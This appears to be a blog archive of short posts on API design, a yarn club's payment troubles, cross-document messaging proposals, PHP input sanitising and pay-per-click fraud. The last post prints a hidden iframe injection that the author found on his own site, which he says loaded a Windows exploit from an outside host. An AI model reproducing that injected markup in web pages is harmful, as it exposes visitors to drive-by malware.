MarsEdit developer Daniel Jalkut points out that the WordPress developers are ignoring the root cause:

If your web service only provides one, first-class API through which all access flows, then you’ve only got one point to secure, you’re likely to have feature parity across interfaces, and the risk of marginalizing one interface is dramatically decreased.

Blue Moon Fiber Arts, a small West Cost company, runs a ‘sock club’ service: a yarn of the month club for knitters who want to work with cool, speciality yarns. The sock club grew popular. And that made Blue Moon’s credit card processor suspicious. The Yarn Harlot (seen here with Cynthia) continues the story of how Blue Moon found themselves without a payment processor, and forced to refund loyal customers.

Lesson: knowing your customer means having some understanding of their business, so you won’t have a OMG! Money Laundering! reaction when one of your small business customers becomes successful.

I’ve been reading both specifications. My notes below.

Cross Document Messages

In the WHAT WG model, documents can implement postMessage().

A receiving document (in another window or iframe) receives a message event, and will need to implement a listener. The event contains:

• a string representing the payload
• a string with domain of the sender
• the origin document

The listener can (but not must) check the origin domain, then do something with the payload. It can also post a message back to the sender.

The Module Tag

Crockford’s Module Tag appears to be a replacement for Iframes within a window. Each module has an attribute for HTML or JavaScript source. Instead of event listeners, each module may implement a send and a receive method. Instead of a white list of origin domains, the security policy is that senders and receivers must pair up. Modules that don’t implement receive, but get a message, cause the sender to throw an exception.

The payload is a JavaScript object serialized to a string using JSON rules. It can’t pass functions across boundaries.

Crockford’s model intends to make mashups explicit, and looks like syntactic sugar for the WHAT WG model.

1. Both proposals wall-off each document’s functions and variables from one another.
2. The WHAT-WG model provides support for cross-window communication, and yes there are Web 2.0 apps that use multiple windows. The Module tag doesn’t provide for that.
3. WHAT-WG provides, but doesn’t enforce a origin model.
4. The WHAT-WG model sends arbitrary strings. The Module tag restricts that to strings that are legal JSON serializations. I suppose you could send a malicious function over the boundary as a string, but you’d have to turn it into a function using new Function().

Comments and corrections to this are welcome.

Neither kinky boots, nor security boasts excuse assault.

At least it’s one less thing I need to remember.

He showed off something I had not noticed before. In htmlentities() you can declare an encoding.

Shiflett has a straightforward approach to untainting user input:

$html = array();

$html['variable'] = htmlentities($_GET['variable'],ENT_QUOTES,"utf-8");

/* Code using $html */

You could leverage off that to set defaults:

$html = array('variable' => 'default');

foreach ($_GET as $key => $value) {

    $html[$key] = htmlentities($value,ENT_QUOTES,"utf-8");

}

/* Code using $html */.

And log suspicious requests:

$html = array('variable' => 'default');

foreach ($_GET as $key => $value) {

    $untainted = htmlentities($value,ENT_QUOTES,"utf-8");

    if (array_key_exists($key,$html)) {

        $html[$key] = $untainted;

    }

    else {

        error_log("[Input Filter] Request had" .

                       "unexpected parameter $key => $untainted");

    }

}

/* Code using $html */.

One long line in the example was causing a glitch in IE6, so I reformated it.

Chris Shiflet finished his book on PHP security for O’Reilly. I’m getting a copy and so are the rest of my team.

Ryan Campbell wrote a short piece on how to degrade Ajax so your site still works with JavaScript turned off.

The list of XML-DEV permament arguments threads.

A couple of days ago, a coworker asked me if I’ve been able to apply any of my economics training in my current profession.

Well, for one thing, I could had told you that pay-per-click creates perverse incentives for people to behave dishonestly in order to generate clicks.

And the pay-per-click people have no incentive to prevent click-farming:

FindWhat [the pay-per-click firm] has a policy prohibiting certain activities of this type [click-farming], and will likely terminate any affiliate account reported to them for abuse. However, terminating the account only means that FindWhat benefits from the hijacker’s activity without having to pay the hijacking affiliate. It’s a win-win situation for them.

Meuon declares: The real meat of the story is that the internet is not safe or trustworthy. As long as you pay for traffic, and deflect the cost of creating the traffic onto other users, yes.

If the companies hiring pay-for-click outfits wrote contracts specifying that they don’t pay for traffic generated by affiliates gaming the system, you remove the incentive for pay-for-click firms to look the other way while their system’s gamed.

<div style="visibility: hidden; position: absolute; left: 1; top: 1"><iframe src="http://re6.net/?s=1" frameborder=0 vspace=0 hspace=0 width=1 height=1 marginwidth=0 marginheight=0 scrolling=no></iframe></div></body>

The hidden iFrame loads a Windows exploit.

I have it removed, for the time being.

I don’t know how long it’s been there, but the source may be an exploit of an old version of Smarty I was using. I’ve upgraded to the current stable version of Smarty.

Maybe I’ll switch to Savant for templating.